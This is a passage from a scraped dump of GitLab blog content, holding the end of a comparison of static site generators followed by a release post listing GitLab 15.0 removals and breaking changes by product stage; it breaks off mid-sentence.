example](https://gitlab.com/pages/hugo) on GitLab pages to help you get started.\n\n[**Zola**](https://www.getzola.org) is a strongly opinionated SSG written in Rust that uses the Tera template engine. It's available as [a prebuilt binary](https://github.com/getzola/zola/releases), is super-fast to set up, and comes with some essential features like syntax highlighting, taxonomies, table of contents, Sass compilation, and hot reloading. The Tera templating engine supports build-in short-codes to inject more complex HTML or for repetitive data-driven sections. Configuration for Zola sites is managed in TOML.\n\nOne of the limitations of Zola might be the lack of a built-in scripting language. Unlike other SSGs, there isn't an ecosystem of plugins you can add to your site. Many in the community appreciate this lack of modularity because Zola’s specialty is content-driven sites. [One of the most popular posts on their Discourse forum is a proposal for plugins](https://zola.discourse.group/t/proposal-plugin/975) which discusses ways to include dynamic loading for plugins without affecting the single binary distribution. \n\nZola is commonly used for content-driven websites. One of its notable features is how content is structured using a tree with sections and pages.  There is no example site on GitLab pages, but the Zola documentation includes a [guide on how to deploy to GitLab pages](https://www.getzola.org/documentation/deployment/gitlab-pages/). \n\n## The Standard Approach\n\nWhen it comes to generators and frameworks, you might hear, \"Boring is better.\" Sometimes the preferred SSG is feature complete, well documented, and has a community of examples and plugins to support it - even if it's not actively growing anymore. \n\n[**Jekyll**](https://jekyllrb.com/) is a static site generator written in Ruby and released in 2008. It paved the way for static sites by replacing the need for a database and inspiring developers to start creating blogs and documentation pages quickly and easily. It uses the Liquid templating language, has a vast plugin ecosystem, and is known to be beginner-friendly since it’s just HTML (or Markdown, if you prefer). While it doesn’t provide many features out of the box, Jekyll supports Ruby plugins for any functionality you might need. There are over [200 plugins](https://github.com/topics/jekyll-plugin), themes, and resources available to use.\n\nOne of the challenges when working with Jekyll can be the requirement of having a whole Ruby development environment to build your site. This can be tricky for developers unfamiliar with Ruby or when making updates. Another thing to consider is the build pipeline - it supports Sass compilation out of the box, but the community recommends using webpack to build assets instead. If you're migrating to Jekyll from another framework or CMS, there are [importers](https://import.jekyllrb.com/docs/home/) that can help automate part of the process. There is a [Jekyll site example that deploys to GitLab pages](https://gitlab.com/pages/jekyll).\n\n[**Hexo**](https://hexo.io/) is a NodeJS static site generator that offers itself as a blogging framework. It has built-in support for Markdown, front matter, and tag plugins. It specializes in creating markup-driven blogs. Hexo provides the Nunjucks template engine by default, but you can easily install additional plugins to support alternative templating engines. Like Jekyll, Hexo also [supports migrations](https://hexo.io/docs/migration#content-inner) from several popular frameworks, including WordPress. \n\nA notable feature of Hexo is tag plugins. Tag plugins are snippets of code you can add to your Markdown files without having to write complex or messy HTML to render specific content. Hexo supports several tag plugins, including block quotes, Twitter and Youtube embeds, and code blocks. There’s an [example site for Hexo that deploys to GitLab pages](https://gitlab.com/pages/hexo) and also a [guide in the Hexo documentation](https://hexo.io/docs/gitlab-pages). \n\n## SSGs and beyond\n\nFor those who love flexibility and modularity, there are some SSGs that allow you do everything from full content moderation support and dynamic API-driven content to state management and partial rendering. \n\n[**GatsbyJS**](https://www.gatsbyjs.com/) is an open-source React-based static site generator optimized for speed and has an extensive plugin library. GatsbyJS supports routing, and handling images, accessibility, and hot reloading out of the box. To improve performance, it loads only the critical elements of the page and prefetches assets for other pages to load them as quickly as possible. It also uses webpack to bundle all of your assets. \n\nGatsbyJS believes in a “content mesh” where third-party platforms provide specialized functionality to the base architecture. It allows you to seamlessly pull data from multiple sources, making it popular for Headless approaches with a CMS backend like Drupal, WordPress, or Contentful. You use GraphQL to query the APIs and manage data throughout your site. The GatsbyJS community has contributed over 2000 plugins, including starter repositories and templates that you can use to get started. There’s an [example GatsbyJS site that deploys to GitLab pages](https://gitlab.com/pages/gatsby). \n\n[**Astro**](https://gitlab.com/pages/astro) is a Bring Your Own Framework (BYOF) static site generator with no package dependencies. You can build your site with any JavaScript framework or web components, and Astro will render it into static HTML and CSS. This flexibility has made it popular since it’s future-proof for migrations. Astro ships with automatic sitemaps, RSS feeds, and pagination. It uses Snowpack to compile Javascript, which supports hot module replacement, ES6 modules, and dynamic imports without extra configuration. The project is still a [Beta release with the 1.0 coming in June 2022](https://twitter.com/astrodotbuild/status/1512505549354639363?s=20&t=zXDUGuYmbiOp08FTETXw5A). \n\nA notable feature of Astro is partial hydration. If you decide that parts of your site need interactivity, you can “hydrate” just those components when they become visible on the page. This way, your pages will load super fast by default and have [“islands of interactivity”](https://docs.astro.build/en/core-concepts/partial-hydration/#island-architecture). There are several themes, plugins, components, and showcase projects available. Astro has [an online playground](https://astro.new/) where you can try out features and integrations in your browser. There’s also [an Astro example site on GitLab pages](https://gitlab.com/pages/astro). \n\n## Creating your own SSG\n\nSometimes, the best part of building a static site is creating a custom generator based on a specific programming language, architecture, and feature set. You might find that the process of creating a static site generator is more exciting than actually writing blogs for your site. Consider several preferences, from document structure to a templating language, theming support, custom plugins, and the build pipeline. You’ll have the opportunity to customize the features to your liking. And there are many [static site generators that deploy to GitLab pages](https://gitlab.com/pages) to provide inspiration! \n\n\nCover image by [Kelly Sikkema](https://unsplash.com/photos/gcHFXsdcmJE) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[11037,267,815],{"slug":14486,"featured":6,"template":678},"comparing-static-site-generators","content:en-us:blog:comparing-static-site-generators.yml","Comparing Static Site Generators","en-us/blog/comparing-static-site-generators.yml","en-us/blog/comparing-static-site-generators",{"_path":14492,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14493,"content":14499,"config":14504,"_id":14506,"_type":16,"title":14507,"_source":17,"_file":14508,"_stem":14509,"_extension":20},"/en-us/blog/gitlab-releases-15-breaking-changes",{"title":14494,"description":14495,"ogTitle":14494,"ogDescription":14495,"noIndex":6,"ogImage":14496,"ogUrl":14497,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14497,"schema":14498},"GitLab.com is moving to 15.0 with a few breaking changes","These are the features that will be removed in GitLab 15.0.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667351/Blog/Hero%20Images/14_0_breaking_changes.jpg","https://about.gitlab.com/blog/gitlab-releases-15-breaking-changes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com is moving to 15.0 with a few breaking changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brian Rhea\"}],\n        \"datePublished\": \"2022-04-18\",\n      }",{"title":14494,"description":14495,"authors":14500,"heroImage":14496,"date":14482,"body":14502,"category":299,"tags":14503},[14501],"Brian Rhea","\nNote: This post was updated on May 20, 2022, to reflect the release of GitLab 15.0.\n{: .note}\n\nGitLab 15.0 has arrived! Along with the [exciting new features](https://youtu.be/1a6-yv6UXsY), it also includes planned removals of [previously deprecated features](https://docs.gitlab.com/ee/update/deprecations.html). Some of these removals are [breaking changes](https://about.gitlab.com/handbook/product/gitlab-the-product/#breaking-changes-deprecations-and-removing-features), because this release is a major version release. We try to minimize such breaking changes but sometimes they are needed to improve workflows, performance, scalability, and more. Please keep reading to learn more about these important changes.\n\nTo see all removals in 15.0, visit [GitLab Docs](https://docs.gitlab.com/ee/update/deprecations.html). Jump to the list of breaking changes in each stage by clicking below:\n\n- [Manage](#manage)\n- [Plan](#plan)\n- [Create](#create)\n- [Verify](#verify)\n- [Package](#package)\n- [Secure](#secure)\n- [Configure](#configure)\n- [Monitor](#monitor)\n- [Protect](#protect)\n- [Enablement](#enablement)\n- [Ecosystem](#ecosystem)\n- [Platform](#platform)\n\n## Manage\n\n### Audit events for repository push events\n\nAnnounced in 14.3\n{: .note}\n\nAudit events for [repository events](https://docs.gitlab.com/ee/administration/audit_events.html#removed-events) are removed as of GitLab 15.0.\n\nAudit events for repository events were always disabled by default and had to be manually enabled with a feature flag.\nEnabling them could slow down GitLab instances by generating too many events. Therefore, they are removed.\n\nPlease note that we will add high-volume audit events in the future as part of [streaming audit events](https://docs.gitlab.com/ee/administration/audit_event_streaming.html). An example of this is how we will send [Git fetch actions](https://gitlab.com/gitlab-org/gitlab/-/issues/343984) as a streaming audit event. If you would be interested in seeing repository push events or some other action as a streaming audit event, please reach out to us!\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/337993)\n\n### External status check API breaking changes\n\nAnnounced in 14.8\n{: .note}\n\nThe [external status check API](https://docs.gitlab.com/ee/api/status_checks.html) was originally implemented to\nsupport pass-by-default requests to mark a status check as passing. Pass-by-default requests are now removed.\nSpecifically, the following are removed:\n\n- Requests that do not contain the `status` field.\n- Requests that have the `status` field set to `approved`.\n\nFrom GitLab 15.0, status checks are only set to a passing state if the `status` field is both present\nand set to `passed`. Requests that:\n\n- Do not contain the `status` field will be rejected with a `400` error. For more information, see [the relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/338827).\n- Contain any value other than `passed`, such as `approved`, cause the status check to fail. For more information, see [the relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/339039).\n\nTo align with this change, API calls to list external status checks also return the value of `passed` rather than\n`approved` for status checks that have passed.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/339039)\n\n### OAuth implicit grant\n\nAnnounced in 14.0\n{: .note}\n\nThe OAuth implicit grant authorization flow is no longer supported. Any applications that use OAuth implicit grant must switch to alternative [supported OAuth flows](https://docs.gitlab.com/ee/api/oauth2.html).\n\n### OAuth tokens without an expiration\n\nAnnounced in 14.3\n{: .note}\n\nGitLab no longer supports OAuth tokens [without an expiration](https://docs.gitlab.com/ee/integration/oauth_provider.html#expiring-access-tokens).\n\nAny existing token without an expiration has one automatically generated and applied.\n\n### Optional enforcement of SSH expiration\n\nAnnounced in 14.8\n{: .note}\n\nDisabling SSH expiration enforcement is unusual from a security perspective and could create unusual situations where an expired\nkey is unintentionally able to be used. Unexpected behavior in a security feature is inherently dangerous and so now we enforce\nexpiration on all SSH keys.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/351963)\n\n### Optional enforcement of personal access token expiration\n\nAnnounced in 14.8\n{: .note}\n\nAllowing expired personal access tokens to be used is unusual from a security perspective and could create unusual situations where an\nexpired key is unintentionally able to be used. Unexpected behavior in a security feature is inherently dangerous and so we now do not let expired personal access tokens be used.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/351962)\n\n### Required pipeline configurations in Premium tier\n\nAnnounced in 14.8\n{: .note}\n\n[Required pipeline configuration](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#required-pipeline-configuration) helps to define and mandate organization-wide pipeline configurations and is a requirement at an executive and organizational level. To align better with our [pricing philosophy](https://about.gitlab.com/company/pricing/#three-tiers), this feature is removed from the Premium tier in GitLab 15.0. This feature continues to be available in the GitLab Ultimate tier.\n\nWe recommend customers use [Compliance Pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration), also in GitLab Ultimate, as an alternative as it provides greater flexibility, allowing required pipelines to be assigned to specific compliance framework labels.\n\nThis change also helps GitLab remain consistent in our tiering strategy with the other related Ultimate-tier features:\n\n- [Security policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n- [Compliance framework pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration).\n\n### `omniauth-kerberos` gem\n\nAnnounced in 14.3\n{: .note}\n\nThe `omniauth-kerberos` gem is no longer supported. This gem has not been maintained and has very little usage. Therefore, we\nremoved support for this authentication method and recommend using [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) instead. You can\nfollow the [upgrade instructions](https://docs.gitlab.com/ee/integration/kerberos.html#upgrading-from-password-based-to-ticket-based-kerberos-sign-ins)\nto upgrade from the removed integration to the new supported one.\n\nWe are not removing Kerberos SPNEGO integration. We are removing the old password-based Kerberos.\n\n---\n\n## Create\n\n### Feature flag PUSH_RULES_SUPERSEDE_CODE_OWNERS\n\nAnnounced in 14.8\n{: .note}\n\nThe feature flag `PUSH_RULES_SUPERSEDE_CODE_OWNERS` has been removed in GitLab 15.0. From now on, push rules will supersede CODEOWNERS. The CODEOWNERS feature is no longer available for access control.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262019)\n\n### `defaultMergeCommitMessageWithDescription` GraphQL API field\n\nAnnounced in 14.5\n{: .note}\n\nThe GraphQL API field `defaultMergeCommitMessageWithDescription` has been removed in GitLab 15.0. For projects with a commit message template set, it will ignore the template.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/345451)\n\n---\n\n## Verify\n\n### API: `stale` status returned instead of `offline` or `not_connected`\n\nAnnounced in 14.6\n{: .note}\n\nA breaking change was made to the Runner [API](https://docs.gitlab.com/ee/api/runners.html#runners-api) endpoints\nin 15.0.\n\nInstead of the GitLab Runner API endpoints returning `offline` and `not_connected` for runners that have not\ncontacted the GitLab instance in the past three months, the API endpoints now return the `stale` value,\nwhich was introduced in 14.6.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/347303)\n\n### `artifacts:report:cobertura` keyword\n\nAnnounced in 14.8\n{: .note}\n\nAs of GitLab 15.0, the `artifacts:report:cobertura` keyword has been replaced by\n[`artifacts:reports:coverage_report`](https://gitlab.com/gitlab-org/gitlab/-/issues/344533). Cobertura is the only\nsupported report file, but this is the first step towards GitLab supporting other report types.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/348980)\n\n### Known host required for GitLab Runner SSH executor\n\nAnnounced in 14.5\n{: .note}\n\nIn [GitLab 14.3](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/3074), we added a configuration setting in the GitLab Runner `config.toml`. This setting, [`[runners.ssh.disable_strict_host_key_checking]`](https://docs.gitlab.com/runner/executors/ssh.html#security), controls whether or not to use strict host key checking with the SSH executor.\n\nIn GitLab 15.0, the default value for this configuration option has changed from `true` to `false`. This means that strict host key checking will be enforced when using the GitLab Runner SSH executor.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28192)\n\n### Runner status `not_connected` API value\n\nAnnounced in 14.6\n{: .note}\n\nThe GitLab Runner REST and GraphQL [API](https://docs.gitlab.com/ee/api/runners.html#runners-api) endpoints\ndeprecated the `not_connected` status value in GitLab 14.6 and will start returning `never_contacted` in its place\nstarting in GitLab 15.0.\n\nRunners that have never contacted the GitLab instance will also return `stale` if created more than 3 months ago.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/347305)\n\n### `type` and `types` keyword from CI/CD configuration\n\nAnnounced in 14.6\n{: .note}\n\nThe `type` and `types` CI/CD keywords is removed in GitLab 15.0, so pipelines that use these keywords fail with a syntax error. Switch to `stage` and `stages`, which have the same behavior.\n\n### Test coverage project CI/CD setting\n\nAnnounced in 14.8\n{: .note}\n\nTo specify a test coverage pattern, in GitLab 15.0 the\n[project setting for test coverage parsing](https://docs.gitlab.com/ee/ci/pipelines/settings.html#add-test-coverage-results-to-a-merge-request-removed)\nhas been removed.\n\nTo set test coverage parsing, use the project’s `.gitlab-ci.yml` file by providing a regular expression with the\n[`coverage` keyword](https://docs.gitlab.com/ee/ci/yaml/index.html#coverage).\n\n---\n\n## Package\n\n### Container registry authentication with htpasswd\n\nAnnounced in 14.9\n{: .note}\n\nThe Container Registry supports [authentication](https://gitlab.com/gitlab-org/container-registry/-/blob/master/docs/configuration.md#auth) with `htpasswd`. It relies on an [Apache `htpasswd` file](https://httpd.apache.org/docs/2.4/programs/htpasswd.html), with passwords hashed using `bcrypt`.\n\nSince it isn't used in the context of GitLab (the product), `htpasswd` authentication will be deprecated in GitLab 14.9 and removed in GitLab 15.0.\n\n### GraphQL permissions change for Package settings\n\nAnnounced in 14.9\n{: .note}\n\nThe GitLab Package stage offers a Package Registry, Container Registry, and Dependency Proxy to help you manage all of your dependencies using GitLab. Each of these product categories has a variety of settings that can be adjusted using the API.\n\nThe permissions model for GraphQL is being updated. After 15.0, users with the Guest, Reporter, and Developer role can no longer update these settings:\n\n- [Package Registry settings](https://docs.gitlab.com/ee/api/graphql/reference/#packagesettings)\n- [Container Registry cleanup policy](https://docs.gitlab.com/ee/api/graphql/reference/#containerexpirationpolicy)\n- [Dependency Proxy time-to-live policy](https://docs.gitlab.com/ee/api/graphql/reference/#dependencyproxyimagettlgrouppolicy)\n- [Enabling the Dependency Proxy for your group](https://docs.gitlab.com/ee/api/graphql/reference/#dependencyproxysetting)\n\nThe issue for this removal is [GitLab-#350682](https://gitlab.com/gitlab-org/gitlab/-/issues/350682)\n\n### Versions from PackageType\n\nAnnounced in 14.5\n{: .note}\n\nAs part of the work to create a [Package Registry GraphQL API](https://gitlab.com/groups/gitlab-org/-/epics/6318), the Package group deprecated the `Version` type for the basic `PackageType` type and moved it to [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#packagedetailstype).\n\nIn GitLab 15.0, we will completely remove `Version` from `PackageType`.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327453)\n\n### dependency_proxy_for_private_groups feature flag\n\nAnnounced in 14.5\n{: .note}\n\nA feature flag was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) in GitLab 13.7 as part of the change to require authentication to use the Dependency Proxy. Before GitLab 13.7, you could use the Dependency Proxy without authentication.\n\nIn GitLab 15.0, we will remove the feature flag, and you must always authenticate when you use the Dependency Proxy.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/276777)\n\n### Pipelines field from the version field\n\nAnnounced in 14.5\n{: .note}\n\nIn GraphQL, there are two `pipelines` fields that you can use in a [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/#packagedetailstype) to get the pipelines for package versions:\n\n- The `versions` field's `pipelines` field. This returns all the pipelines associated with all the package's versions, which can pull an unbounded number of objects in memory and create performance concerns.\n- The `pipelines` field of a specific `version`. This returns only the pipelines associated with that single package version.\n\nTo mitigate possible performance problems, we will remove the `versions` field's `pipelines` field in GitLab 15.0. Although you will no longer be able to get all pipelines for all versions of a package, you can still get the pipelines of a single version through the remaining `pipelines` field for that version.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/342882)\n\n### Update to the Container Registry group-level API\n\nAnnounced in 14.5\n{: .note}\n\nIn GitLab 15.0, support for the `tags` and `tags_count` parameters will be removed from the Container Registry API that [gets registry repositories from a group](https://docs.gitlab.com/ee/api/container_registry.html#within-a-group).\n\nThe `GET /groups/:id/registry/repositories` endpoint will remain, but won't return any info about tags. To get the info about tags, you can use the existing `GET /registry/repositories/:id` endpoint, which will continue to support the `tags` and `tag_count` options as it does today. The latter must be called once per image repository.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/336912)\n\n---\n\n## Secure\n\n### DS_DEFAULT_ANALYZERS environment variable\n\nAnnounced in 14.0\n{: .note}\n\nWe are removing the `DS_DEFAULT_ANALYZERS` environment variable from Dependency Scanning on May 22, 2022 in 15.0. After this removal, this variable's value will be ignored. To configure which analyzers to run with the default configuration, you should use the `DS_EXCLUDED_ANALYZERS` variable instead.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/333299)\n\n### Dependency Scanning default Java version changed to 17\n\nAnnounced in 14.10\n{: .note}\n\nFor Dependency Scanning, the default version of Java that the scanner expects will be updated from 11 to 17. Java 17 is [the most up-to-date Long Term Support (LTS) version](https://en.wikipedia.org/wiki/Java_version_history). Dependency Scanning continues to support the same [range of versions (8, 11, 13, 14, 15, 16, 17)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers), only the default version is changing. If your project uses the previous default of Java 11, be sure to [set the `DS_JAVA_VERSION` variable to match](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuring-specific-analyzers-used-by-dependency-scanning). Please note that consequently the default version of Gradle is now 7.3.3.\n\n### End of support for Python 3.6 in Dependency Scanning\n\nAnnounced in 14.8\n{: .note}\n\nFor those using Dependency Scanning for Python projects, we are removing support for the default `gemnasium-python:2` image which uses Python 3.6, as well as the custom `gemnasium-python:2-python-3.9` image which uses Python 3.9. The new default image as of GitLab 15.0 will be for Python 3.9 as it is a [supported version](https://endoflife.date/python) and 3.6 [is no longer supported](https://endoflife.date/python).\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/351503)\n\n### Retire-JS Dependency Scanning tool\n\nAnnounced in 14.8\n{: .note}\n\nWe have removed support for retire.js from Dependency Scanning as of May 22, 2022 in GitLab 15.0. JavaScript scanning functionality will not be affected as it is still being covered by Gemnasium.\n\nIf you have explicitly excluded retire.js using the `DS_EXCLUDED_ANALYZERS` variable, then you will be able to remove the reference to retire.js. If you have customized your pipeline’s Dependency Scanning configuration related to the `retire-js-dependency_scanning` job, then you will want to switch to `gemnasium-dependency_scanning`. If you have not used the `DS_EXCLUDED_ANALYZERS` to reference retire.js, or customized your template specifically for retire.js, you will not need to take any action.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/289830)\n\n### bundler-audit Dependency Scanning tool\n\nAnnounced in 14.8\n{: .note}\n\nWe are removing bundler-audit from Dependency Scanning on May 22, 2022 in 15.0. After this removal, Ruby scanning functionality will not be affected as it is still being covered by Gemnasium.\n\nIf you have explicitly excluded bundler-audit using the `DS_EXCLUDED_ANALYZERS` variable, then you will be able to remove the reference to bundler-audit. If you have customized your pipeline’s Dependency Scanning configuration related to the `bundler-audit-dependency_scanning` job, then you will want to switch to `gemnasium-dependency_scanning`. If you have not used the `DS_EXCLUDED_ANALYZERS` to reference bundler-audit or customized your template specifically for bundler-audit, you will not need to take any action.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/347491)\n\n---\n\n## Configure\n\n### GitLab Serverless\n\nAnnounced in 14.3\n{: .note}\n\nAll functionality related to GitLab Serverless was deprecated in GitLab 14.3 and is scheduled for removal in GitLab 15.0. Users who need a replacement for this functionality are encouraged to explore using the following technologies with GitLab CI/CD:\n\n- [Serverless Framework](https://www.serverless.com)\n- [AWS Serverless Application Model](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/deploying-using-gitlab.html)\n\nFor additional context, or to provide feedback regarding this change, please reference our [deprecation issue](https://gitlab.com/groups/gitlab-org/configure/-/epics/6).\n\n- [Issue](https://gitlab.com/groups/gitlab-org/configure/-/epics/6)\n\n### `Managed-Cluster-Applications.gitlab-ci.yml`\n\nAnnounced in 14.0\n{: .note}\n\nThe `Managed-Cluster-Applications.gitlab-ci.yml` CI/CD template is being removed. If you need an  alternative, try the [Cluster Management project template](https://gitlab.com/gitlab-org/gitlab/-/issues/333610) instead. If your are not ready to move, you can copy the [last released version](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/v14.10.1/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml) of the template into your project.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/333610)\n\n### Self-managed certificate-based integration with Kubernetes feature flagged\n\nAnnounced in 14.5\n{: .note}\n\nIn 15.0 the certificate-based integration with Kubernetes will be disabled by default.\n\nAfter 15.0, you should use the [agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/) to connect Kubernetes clusters with GitLab. The agent for Kubernetes is a more robust, secure, and reliable integration with Kubernetes. [How do I migrate to the agent?](https://docs.gitlab.com/ee/user/infrastructure/clusters/migrate_to_gitlab_agent.html)\n\nIf you need more time to migrate, you can enable the `certificate_based_clusters` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html), which re-enables the certificate-based integration.\n\nIn GitLab 16.0, we will [remove the feature, its related code, and the feature flag](https://about.gitlab.com/blog/deprecating-the-cert-based-kubernetes-integration/). GitLab will continue to fix any security or critical issues until 16.0.\n\n- [Epic](https://gitlab.com/groups/gitlab-org/configure/-/epics/8)\n\n---\n\n## Monitor\n\n### ELK stack logging\n\nAnnounced in 14.7\n{: .note}\n\nThe logging features in GitLab allow users to install the ELK stack (Elasticsearch, Logstash, and Kibana) to aggregate and manage application logs. Users could search for relevant logs in GitLab directly. However, since deprecating certificate-based integration with Kubernetes clusters and GitLab Managed Apps, this feature is no longer available. For more information on the future of logging and observability, you can follow the issue for [integrating Opstrace with GitLab](https://gitlab.com/groups/gitlab-org/-/epics/6976).\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/346485)\n\n### Jaeger integration\n\nAnnounced in 14.7\n{: .note}\n\nTracing in GitLab is an integration with Jaeger, an open-source end-to-end distributed tracing system. GitLab users could previously navigate to their Jaeger instance to gain insight into the performance of a deployed application, tracking each function or microservice that handles a given request. Tracing in GitLab was deprecated in GitLab 14.7, and removed in 15.0. To track work on a possible replacement, see the issue for [Opstrace integration with GitLab](https://gitlab.com/groups/gitlab-org/-/epics/6976).\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/346540)\n\n### Request profiling\n\nAnnounced in 14.8\n{: .note}\n\n[Request profiling](https://docs.gitlab.com/ee/administration/monitoring/performance/index.html) has been removed in GitLab 15.0.\n\nWe're working on [consolidating our profiling tools](https://gitlab.com/groups/gitlab-org/-/epics/7327) and making them more easily accessible.\nWe [evaluated](https://gitlab.com/gitlab-org/gitlab/-/issues/350152) the use of this feature and we found that it is not widely used.\nIt also depends on a few third-party gems that are not actively maintained anymore, have not been updated for the latest version of Ruby, or crash frequently when profiling heavy page loads.\n\nFor more information, check the [summary section of the deprecation issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352488#deprecation-summary).\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/352488)\n\n---\n\n## Protect\n\n### Container Network and Host Security\n\nAnnounced in 14.8\n{: .note}\n\nAll functionality related to the Container Network Security and Container Host Security categories was deprecated in GitLab 14.8 and is scheduled for removal in GitLab 15.0. Users who need a replacement for this functionality are encouraged to evaluate the following open source projects as potential solutions that can be installed and managed outside of GitLab: [AppArmor](https://gitlab.com/apparmor/apparmor), [Cilium](https://github.com/cilium/cilium), [Falco](https://github.com/falcosecurity/falco), [FluentD](https://github.com/fluent/fluentd), [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/). To integrate these technologies with GitLab, add the desired Helm charts in your copy of the [Cluster Management Project Template](https://docs.gitlab.com/ee/user/clusters/management_project_template.html). Deploy these Helm charts in production by calling commands through GitLab [CI/CD](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html).\n\nAs part of this change, the following capabilities within GitLab are scheduled for removal in GitLab 15.0:\n\n- The **Security & Compliance > Threat Monitoring** page.\n- The Network Policy security policy type, as found on the **Security & Compliance > Policies** page.\n- The ability to manage integrations with the following technologies through GitLab: AppArmor, Cilium, Falco, FluentD, and Pod Security Policies.\n- All APIs related to the above functionality.\n\nFor additional context, or to provide feedback regarding this change, please reference our [deprecation issue](https://gitlab.com/groups/gitlab-org/-/epics/7476).\n\n- [Issue](https://gitlab.com/groups/gitlab-org/-/epics/7477)\n\n### Vulnerability Check\n\nAnnounced in 14.8\n{: .note}\n\nThe vulnerability check feature was deprecated in GitLab 14.8 and is scheduled for removal in GitLab 15.0. We encourage you to migrate to the new security approvals feature instead. You can do so by navigating to **Security & Compliance > Policies** and creating a new Scan Result Policy.\n\nThe new security approvals feature is similar to vulnerability check. For example, both can require approvals for MRs that contain security vulnerabilities. However, security approvals improve the previous experience in several ways:\n\n- Users can choose who is allowed to edit security approval rules. An independent security or compliance team can therefore manage rules in a way that prevents development project maintainers from modifying the rules.\n- Multiple rules can be created and chained together to allow for filtering on different severity thresholds for each scanner type.\n- A two-step approval process can be enforced for any desired changes to security approval rules.\n- A single set of security policies can be applied to multiple development projects to allow for ease in maintaining a single, centralized ruleset.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/357300)\n\n---\n\n## Enablement\n\n### Background upload for object storage\n\nAnnounced in 14.9\n{: .note}\n\nTo reduce the overall complexity and maintenance burden of GitLab's [object storage feature](https://docs.gitlab.com/ee/administration/object_storage.html), support for using `background_upload` has been removed in GitLab 15.0.\n\nThis impacts a small subset of object storage providers, including but not limited to:\n\n- **OpenStack** Customers using OpenStack need to change their configuration to use the S3 API instead of Swift.\n- **RackSpace** Customers using RackSpace-based object storage need to migrate data to a different provider.\n\nIf your object storage provider does not support `background_upload`, please [migrate objects to a supported object storage provider](https://docs.gitlab.com/ee/administration/object_storage.html#migrate-objects-to-a-different-object-storage-provider).\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/26600)\n\n### Elasticsearch 6.8.x in GitLab 15.0\n\nAnnounced in 14.8\n{: .note}\n\nElasticsearch 6.8 support has been removed in GitLab 15.0. Elasticsearch 6.8 has reached [end of life](https://www.elastic.co/support/eol).\nIf you use Elasticsearch 6.8, **you must upgrade your Elasticsearch version to 7.x** prior to upgrading to GitLab 15.0.\nYou should not upgrade to Elasticsearch 8 until you have completed the GitLab 15.0 upgrade.\n\nView the [version requirements](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html) for details.\n\n- [Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/350275)\n\n### Gitaly nodes in virtual storage\n\nAnnounced in 13.12\n{: .note}\n\nConfiguring the Gitaly nodes directly in the virtual storage's root configuration object has been deprecated in GitLab 13.12 and is no longer supported in GitLab 15.0. You must move the Gitaly nodes under the `'nodes'` key as described in [the Praefect configuration](https://docs.gitlab.com/ee/administration/gitaly/praefect.html#praefect).\n\n### Move Gitaly Cluster Praefect `database_host_no_proxy` and `database_port_no_proxy configs`\n\nAnnounced in 14.0\n{: .note}\n\nThe Gitaly Cluster configuration keys for `praefect['database_host_no_proxy']` and `praefect['database_port_no_proxy']` are replaced with `praefect['database_direct_host']` and `praefect['database_direct_port']`.\n\n- [Issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6150)\n\n### Move `custom_hooks_dir` setting from GitLab Shell to Gitaly\n\nAnnounced in 14.9\n{: .note}\n\nThe [`custom_hooks_dir`](https://docs.gitlab.com/ee/administration/server_hooks.html#create-a-global-server-hook-for-all-repositories) setting is now configured in 